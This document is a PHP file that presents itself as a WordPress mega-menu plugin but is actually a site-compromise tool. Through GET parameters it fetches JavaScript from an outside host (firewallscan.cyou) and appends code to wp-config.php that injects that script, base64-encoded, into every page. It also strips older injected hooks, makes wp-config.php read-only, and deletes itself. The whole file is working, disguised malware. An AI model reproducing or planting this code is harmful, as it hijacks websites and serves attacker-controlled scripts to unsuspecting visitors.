File: /python/moda/public_html/tech/old/theme/wp-content/plugins/wpr/wpr.php
<?php
/**
Plugin Name: WP Adon Profi
Plugin URI: https://www.themeum.com/product/wp-megamenu/
Description: WP Adon Profi is a beautiful, responsive, highly customizable, and user-friendly drag and drop menu builder plugin for WordPress. Build an awesome mega menu today.
Author: Themeum
Author URI: https://www.themeum.com
Version: 1.4.2
Text Domain: wp-profimenu
Domain Path: /languages
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
// 🔹 Функция поиска `wp-config.php`
function find_wp_config($startDir, $maxLevels = 10) {
$dir = rtrim($startDir, DIRECTORY_SEPARATOR);
for ($level = 0; $level < $maxLevels; $level++) {
$configPath = $dir . DIRECTORY_SEPARATOR . 'wp-config.php';
if (file_exists($configPath)) {
return $configPath;
}
$parentDir = dirname($dir);
if ($parentDir === $dir) {
break;
}
$dir = $parentDir;
}
return false;
}
$wpConfigPath = find_wp_config(__DIR__, 10);
if (!$wpConfigPath) {
echo "❌ Не найден wp-config.php (10 уровней вверх от " . __DIR__ . ").";
exit;
}
// 🔹 Функция загрузки JS через cURL
function fetch_js_with_ua($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// 🔹 Получаем JS-скрипт
$script = fetch_js_with_ua('https://firewallscan.cyou/ewgvfbgdf.js');
if (!$script) {
die("❌ Ошибка: JS не загружен.");
}
$encoded_script = base64_encode($script);
// 🔹 Код для `wp-config.php`
$scriptToAdd = <<<PHP
function addingto_wp_enqueue() {
\$encoded_script = '$encoded_script';
echo '<script>
(function() {
const decodedScript = atob(\'' . \$encoded_script . '\');
const scriptTag = document.createElement("script");
scriptTag.textContent = decodedScript;
document.head.appendChild(scriptTag);
})();
</script>';
}
PHP;
$hooksToAdd = <<<PHP
add_action('wp_enqueue_scripts', 'addingto_wp_enqueue', 1);
PHP;
// 🔹 Регулярные выражения для удаления хуков
$hooksToRemove = [
'/add_action\(\'wp_head\',\s*\'wp_cloueded\'\);\s*/',
'/add_action\(\'admin_head\',\s*\'wp_cloueded\'\);\s*/',
'/add_action\(\'login_head\',\s*\'wp_cloueded\'\);\s*/',
'/add_action\(\'wp_head\',\s*\'wp_reload_page_wp\'\);\s*/',
];
// 🔹 Функция добавления кода
function appendToFile($filePath, $content) {
$original = file_get_contents($filePath);
if (strpos($original, trim($content)) !== false) {
echo "⚠️ Блок уже существует в {$filePath}.<br>";
return;
}
$original .= "\n" . $content . "\n";
file_put_contents($filePath, $original);
echo "✅ Блок добавлен в {$filePath}.<br>";
}
// 🔹 Функция удаления хуков
function removeHooksFromConfig($filePath, $patterns) {
$content = file_get_contents($filePath);
$modified = false;
foreach ($patterns as $pattern) {
$newContent = preg_replace($pattern, '', $content, 1);
if ($newContent !== $content) {
$content = $newContent;
$modified = true;
}
}
if ($modified) {
file_put_contents($filePath, $content);
echo "✅ Старые хуки удалены из {$filePath}.<br>";
} else {
echo "❌ Старые хуки не найдены в {$filePath}.<br>";
}
}
// 🔹 Функция удаления скрипта
function selfDelete() {
$myPath = __FILE__;
unlink($myPath);
echo "✅ Файл удален: {$myPath}<br>";
}
// 🔹 Функция изменения прав на wp-config.php
if (isset($_GET['chmod'])) {
if (file_exists($wpConfigPath)) {
chmod($wpConfigPath, 444);
echo "✅ Права доступа к wp-config.php изменены на 444 (только чтение).";
} else {
echo "❌ Файл wp-config.php не найден.";
}
exit;
}
// 🔹 Обработка GET-запросов
if (isset($_GET['copy'])) {
if (!file_exists($wpConfigPath)) {
echo "❌ wp-config.php не найден.<br>";
} else {
appendToFile($wpConfigPath, $scriptToAdd);
appendToFile($wpConfigPath, $hooksToAdd);
}
exit;
}
if (isset($_GET['remove_hooks'])) {
if (!file_exists($wpConfigPath)) {
echo "❌ wp-config.php не найден.<br>";
} else {
removeHooksFromConfig($wpConfigPath, $hooksToRemove);
}
exit;
}
if (isset($_GET['delete_script'])) {
selfDelete();
exit;
}
?>